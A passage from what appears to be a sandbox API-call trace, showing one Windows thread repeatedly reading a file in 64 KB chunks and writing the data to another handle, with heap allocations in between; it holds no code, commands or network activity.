| out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.915] GetCurrentThreadId () returned 0x9b0 [0117.915] GetLastError () returned 0x0 [0117.916] GetCurrentThreadId () returned 0x9b0 [0117.916] GetCurrentThreadId () returned 0x9b0 [0117.916] GetLastError () returned 0x0 [0117.916] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.916] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.917] GetCurrentThreadId () returned 0x9b0 [0117.917] GetLastError () returned 0x0 [0117.917] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.918] GetCurrentThreadId () returned 0x9b0 [0117.918] GetLastError () returned 0x0 [0117.918] GetCurrentThreadId () returned 0x9b0 [0117.918] GetCurrentThreadId () returned 0x9b0 [0117.918] GetLastError () returned 0x0 [0117.918] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.918] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.919] GetCurrentThreadId () returned 0x9b0 [0117.919] GetLastError () returned 0x0 [0117.920] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.921] GetCurrentThreadId () returned 0x9b0 [0117.921] GetLastError () returned 0x0 [0117.922] GetCurrentThreadId () returned 0x9b0 [0117.922] GetLastError () returned 0x0 [0117.922] GetCurrentThreadId () returned 0x9b0 [0117.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0117.922] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.922] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.923] GetCurrentThreadId () returned 0x9b0 [0117.923] GetLastError () returned 0x0 [0117.923] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.924] GetCurrentThreadId () returned 0x9b0 [0117.924] GetLastError () returned 0x0 [0117.924] GetCurrentThreadId () returned 0x9b0 [0117.924] GetLastError () returned 0x0 [0117.924] GetCurrentThreadId () returned 0x9b0 [0117.924] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.925] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.926] GetCurrentThreadId () returned 0x9b0 [0117.926] GetLastError () returned 0x0 [0117.926] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.927] GetCurrentThreadId () returned 0x9b0 [0117.927] GetLastError () returned 0x0 [0117.928] GetCurrentThreadId () returned 0x9b0 [0117.928] GetLastError () returned 0x0 [0117.928] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.928] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.929] GetCurrentThreadId () returned 0x9b0 [0117.929] GetLastError () returned 0x0 [0117.929] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.930] GetCurrentThreadId () returned 0x9b0 [0117.930] GetLastError () returned 0x0 [0117.930] GetCurrentThreadId () returned 0x9b0 [0117.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265358 [0117.930] GetCurrentThreadId () returned 0x9b0 [0117.930] GetLastError () returned 0x0 [0117.930] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.931] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.932] GetCurrentThreadId () returned 0x9b0 [0117.932] GetLastError () returned 0x0 [0117.932] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.933] GetCurrentThreadId () returned 0x9b0 [0117.933] GetLastError () returned 0x0 [0117.934] GetCurrentThreadId () returned 0x9b0 [0117.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265368 [0117.934] GetCurrentThreadId () returned 0x9b0 [0117.934] GetLastError () returned 0x0 [0117.934] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.934] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.935] GetCurrentThreadId () returned 0x9b0 [0117.936] GetLastError () returned 0x0 [0117.936] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.943] GetCurrentThreadId () returned 0x9b0 [0117.943] GetLastError () returned 0x0 [0117.944] GetCurrentThreadId () returned 0x9b0 [0117.944] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0117.944] GetCurrentThreadId () returned 0x9b0 [0117.944] GetLastError () returned 0x0 [0117.944] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.947] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.949] GetCurrentThreadId () returned 0x9b0 [0117.949] GetLastError () returned 0x0 [0117.949] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.951] GetCurrentThreadId () returned 0x9b0 [0117.951] GetLastError () returned 0x0 [0117.951] GetCurrentThreadId () returned 0x9b0 [0117.951] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0117.952] GetCurrentThreadId () returned 0x9b0 [0117.952] GetLastError () returned 0x0 [0117.952] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.952] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.954] GetCurrentThreadId () returned 0x9b0 [0117.954] GetLastError () returned 0x0 [0117.954] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.954] GetCurrentThreadId () returned 0x9b0 [0117.954] GetLastError () returned 0x0 [0117.954] GetCurrentThreadId () returned 0x9b0 [0117.954] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0117.954] GetCurrentThreadId () returned 0x9b0 [0117.955] GetLastError () returned 0x0 [0117.955] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.955] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.956] GetCurrentThreadId () returned 0x9b0 [0117.956] GetLastError () returned 0x0 [0117.956] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.958] GetCurrentThreadId () returned 0x9b0 [0117.958] GetLastError () returned 0x0 [0117.958] GetCurrentThreadId () returned 0x9b0 [0117.958] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0117.958] GetCurrentThreadId () returned 0x9b0 [0117.959] GetLastError () returned 0x0 [0117.959] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.959] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.960] GetCurrentThreadId () returned 0x9b0 [0117.960] GetLastError () returned 0x0 [0117.960] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.961] GetCurrentThreadId () returned 0x9b0 [0117.961] GetLastError () returned 0x0 [0117.961] GetCurrentThreadId () returned 0x9b0 [0117.961] GetCurrentThreadId () returned 0x9b0 [0117.961] GetLastError () returned 0x0 [0117.961] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.962] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.963] GetCurrentThreadId () returned 0x9b0 [0117.963] GetLastError () returned 0x0 [0117.963] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.964] GetCurrentThreadId () returned 0x9b0 [0117.964] GetLastError () returned 0x0 [0117.964] GetCurrentThreadId () returned 0x9b0 [0117.965] GetCurrentThreadId () returned 0x9b0 [0117.965] GetLastError () returned 0x0 [0117.965] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.965] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.966] GetCurrentThreadId () returned 0x9b0 [0117.966] GetLastError () returned 0x0 [0117.966] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.967] GetCurrentThreadId () returned 0x9b0 [0117.967] GetLastError () returned 0x0 [0117.967] GetCurrentThreadId () returned 0x9b0 [0117.967] GetCurrentThreadId () returned 0x9b0 [0117.967] GetLastError () returned 0x0 [0117.967] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.968] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.969] GetCurrentThreadId () returned 0x9b0 [0117.969] GetLastError () returned 0x0 [0117.969] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.971] GetCurrentThreadId () returned 0x9b0 [0117.971] GetLastError () returned 0x0 [0117.971] GetCurrentThreadId () returned 0x9b0 [0117.971] GetCurrentThreadId () returned 0x9b0 [0117.971] GetLastError () returned 0x0 [0117.972] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.972] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.973] GetCurrentThreadId () returned 0x9b0 [0117.973] GetLastError () returned 0x0 [0117.973] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.973] GetCurrentThreadId () returned 0x9b0 [0117.973] GetLastError () returned 0x0 [0117.974] GetCurrentThreadId () returned 0x9b0 [0117.974] GetCurrentThreadId () returned 0x9b0 [0117.974] GetLastError () returned 0x0 [0117.974] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.975] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.976] GetCurrentThreadId () returned 0x9b0 [0117.976] GetLastError () returned 0x0 [0117.976] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.978] GetCurrentThreadId () returned 0x9b0 [0117.978] GetLastError () returned 0x0 [0117.978] GetCurrentThreadId () returned 0x9b0 [0117.978] GetCurrentThreadId () returned 0x9b0 [0117.978] GetLastError () returned 0x0 [0117.978] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.979] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.980] GetCurrentThreadId () returned 0x9b0 [0117.980] GetLastError () returned 0x0 [0117.980] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.980] GetCurrentThreadId () returned 0x9b0 [0117.980] GetLastError () returned 0x0 [0117.981] GetCurrentThreadId () returned 0x9b0 [0117.981] GetLastError () returned 0x0 [0117.981] GetCurrentThreadId () returned 0x9b0 [0117.981] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0117.981] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.981] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.982] GetCurrentThreadId () returned 0x9b0 [0117.983] GetLastError () returned 0x0 [0117.983] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.984] GetCurrentThreadId () returned 0x9b0 [0117.984] GetLastError () returned 0x0 [0117.984] GetCurrentThreadId () returned 0x9b0 [0117.984] GetLastError () returned 0x0 [0117.984] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.985] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.986] GetCurrentThreadId () returned 0x9b0 [0117.986] GetLastError () returned 0x0 [0117.986] GetCurrentThreadId () returned 0x9b0 [0117.986] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0117.986] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.987] GetCurrentThreadId () returned 0x9b0 [0117.987] GetLastError () returned 0x0 [0117.987] GetCurrentThreadId () returned 0x9b0 [0117.987] GetLastError () returned 0x0 [0117.987] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.988] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.989] GetCurrentThreadId () returned 0x9b0 [0117.989] GetLastError () returned 0x0 [0117.989] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.990] GetCurrentThreadId () returned 0x9b0 [0117.990] GetLastError () returned 0x0 [0117.990] GetCurrentThreadId () returned 0x9b0 [0117.990] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653c8 [0117.991] GetCurrentThreadId () returned 0x9b0 [0117.991] GetLastError () returned 0x0 [0117.991] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.991] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.992] GetCurrentThreadId () returned 0x9b0 [0117.993] GetLastError () returned 0x0 [0117.993] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.993] GetCurrentThreadId () returned 0x9b0 [0117.993] GetLastError () returned 0x0 [0117.993] GetCurrentThreadId () returned 0x9b0 [0117.993] GetCurrentThreadId () returned 0x9b0 [0117.994] GetLastError () returned 0x0 [0117.994] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.994] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.995] GetCurrentThreadId () returned 0x9b0 [0117.995] GetLastError () returned 0x0 [0117.995] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x5ad8, lpOverlapped=0x0) returned 1 [0117.995] ReadFile (in: hFile=0x39c, lpBuffer=0x36fe034, nNumberOfBytesToRead=0xa000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36fe034*, lpNumberOfBytesRead=0x9bb520*=0x0, lpOverlapped=0x0) returned 1 [0117.996] GetCurrentThreadId () returned 0x9b0 [0117.996] GetLastError () returned 0x0 [0117.996] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x5aed) returned 0x36f8548 [0117.996] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x5af5) returned 0x36f8548 [0117.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265398 [0117.996] GetCurrentThreadId () returned 0x9b0 [0117.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x5af8) returned 0x35b99e0 [0117.996] GetCurrentThreadId () returned 0x9b0 [0117.996] GetLastError () returned 0x0 [0117.996] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.997] WriteFile (in: hFile=0x3ac, 